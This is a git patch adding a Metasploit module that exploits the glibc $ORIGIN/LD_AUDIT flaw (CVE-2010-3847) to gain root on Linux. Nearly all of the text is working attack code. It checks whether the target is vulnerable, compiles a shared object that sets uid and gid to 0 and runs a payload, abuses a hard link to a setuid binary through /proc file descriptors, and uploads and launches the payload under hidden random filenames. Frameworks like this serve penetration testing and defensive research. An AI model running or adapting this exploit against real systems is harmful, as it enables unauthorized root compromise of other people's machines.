From 0ba37f8104a756531a8aa0476fc28752e376cd73 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 27 Jan 2018 09:48:27 +0000 Subject: [PATCH] Add glibc $ORIGIN Expansion Privilege Escalation exploit --- .../local/glibc_origin_expansion_priv_esc.rb | 221 ++++++++++++++++++ 1 file changed, 221 insertions(+) create mode 100644 modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb diff --git a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb new file mode 100644 index 0000000000..28e4a38b76 --- /dev/null +++ b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb @@ -0,0 +1,221 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/local/linux' +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Linux + + def initialize(info = {}) + super(update_info(info, + 'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation", + 'Description' => %q{ + This module attempts to gain root privileges on Linux systems by abusing + a vulnerability in the GNU C Library (glibc) dynamic linker. + + glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not + properly restrict use of the LD_AUDIT environment variable when loading + setuid executables which allows control over the $ORIGIN library search + path resulting in execution of arbitrary shared objects. + + This module opens a file descriptor to the specified suid executable via + a hard link, then replaces the hard link with a shared object before + instructing the linker to execute the file descriptor, resulting in + arbitrary code execution. + + The specified setuid binary must be readable and located on the same + file system partition as the specified writable directory. + + This module has been tested successfully on glibc version 2.5 on CentOS + 5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386). + + RHEL 5 is reportedly affected, but untested. Some versions of ld.so + hit a failed assertion in dl_open_worker causing exploitation to fail. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tavis Ormandy', # Discovery and exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Oct 18 2010', + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultTarget' => 0, + 'References' => + [ + [ 'CVE', '2010-3847' ], + [ 'BID', '44154' ], + [ 'EDB', '15274' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ], + [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ], + [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ], + [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ] + ] + )) + register_options( + [ + OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ]) + end + + def base_dir + datastore['WritableDir'] + end + + def suid_exe_path + datastore['SUID_EXECUTABLE'] + end + + def check + glibc_banner = cmd_exec 'ldd --version' + glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first + if glibc_version.eql? '' + vprint_error 'Could not determine the GNU C library version' + return CheckCode::Safe + elsif glibc_version >= Gem::Version.new('2.12.2') || + (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12')) + vprint_error "GNU C Library version #{glibc_version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "GNU C Library version #{glibc_version} is vulnerable" + + unless setuid? suid_exe_path + vprint_error "#{suid_exe_path} is not setuid" + return CheckCode::Detected + end + vprint_good "#{suid_exe_path} is setuid" + + unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true' + vprint_error("#{suid_exe_path} is not readable") + return CheckCode::Detected + end + vprint_good "#{suid_exe_path} is readable" + + CheckCode::Appears + end + + def upload_and_chmodx(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + cmd_exec "chmod +x '#{path}'" + register_file_for_cleanup path + end + + def exploit + check_status = check + + if check_status == CheckCode::Appears + print_good 'The target appears to be vulnerable' + elsif check_status == CheckCode::Detected + fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable" + else + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + payload_name = ".#{rand_text_alphanumeric rand(5..10)}" + payload_path = "#{base_dir}/#{payload_name}" + + # Set target + uname = cmd_exec 'uname -m' + vprint_status "System architecture is #{uname}" + if target.name.eql? 'Automatic' + case uname + when 'x86_64' + my_target = targets[2] + when /x86/, /i\d86/ + my_target = targets[1] + else + fail_with Failure::NoTarget, 'Unable to automatically select a target' + end + else + my_target = target + end + print_status "Using target: #{my_target.name}" + + cpu = nil + case my_target['Arch'] + when ARCH_X86 + cpu = Metasm::Ia32.new + when ARCH_X64 + cpu = Metasm::X86_64.new + else + fail_with Failure::NoTarget, 'Target is not compatible' + end + + # Compile shared object + so_stub = %| + extern int setuid(int); + extern int setgid(int); + extern int system(const char *__s); + + void init(void) __attribute__((constructor)); + + void __attribute__((constructor)) init() { + setuid(0); + setgid(0); + system("#{payload_path}"); + } + | + + begin + so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) + rescue + print_error "Metasm encoding failed: #{$ERROR_INFO}" + elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" + elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" + fail_with Failure::Unknown, 'Metasm encoding failed' + end + + # Upload shared object + so_name = ".#{rand_text_alphanumeric rand(5..10)}" + so_path = "#{base_dir}/#{so_name}" + upload_and_chmodx so_path, so + + # Upload exploit + link_name = ".#{rand_text_alphanumeric rand(5..10)}" + link_path = "#{base_dir}/#{link_name}" + fd = rand(10..200) + exp = %( + rm -rf '#{link_path}' + mkdir '#{link_path}' + ln #{suid_exe_path} #{link_path}/#{link_name} + exec #{fd}< #{link_path}/#{link_name} + ls -l /proc/$$/fd/#{fd} + rm -rf '#{link_path}' + ls -l /proc/$$/fd/#{fd} + mv #{so_path} #{link_path} + LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd} + ) + + exp_name = ".#{rand_text_alphanumeric rand(5..10)}" + exp_path = "#{base_dir}/#{exp_name}" + upload_and_chmodx exp_path, exp + register_file_for_cleanup link_path + + # Upload payload + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Launching exploit...' + output = cmd_exec "#{exp_path}&" + output.each_line { |line| vprint_status line.chomp } + end +end